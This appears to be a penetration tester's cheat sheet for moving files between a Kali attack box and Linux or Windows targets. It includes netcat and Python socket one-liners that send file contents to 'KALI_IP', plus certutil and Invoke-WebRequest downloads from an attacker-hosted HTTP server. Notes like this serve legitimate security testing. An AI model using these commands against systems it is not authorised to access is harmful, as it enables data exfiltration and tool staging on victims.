Linux 2 Linux
```bash
nc -lvnp 1234 > filename.txt
python3 -c "import socket; s=socket.socket(); s.connect(('KALI_IP', 1234)); f=open('filename.txt', 'rb'); s.send(f.read()); s.close()"
```
```bash
python3 -m http.server 8888
wget http://<IP>:8888/filename.txt
curl http://<IP>:8888/filename.txt
```
```bash
sudo systemctl start ssh
scp filename.txt kali@<IP>:/tmp/
```
```bash
base64 filename.txt | nc <kali_ip> 4130
nc -lvnp 4130 | base64 -d > filename.txt
```
Linux 2 Windows
```bash
python3 -m http.server 8888
#1
certutil -urlcache -split -f http://<IP>:8888/filename.txt filename.txt
#2
Invoke-WebRequest -Uri http://<IP>:8888/filename.txt -outfile filename.txt
#3
wget http://<IP>:8888/filename.txt filename.txt
```
Windows 2 Linux
[[smbserver.py]]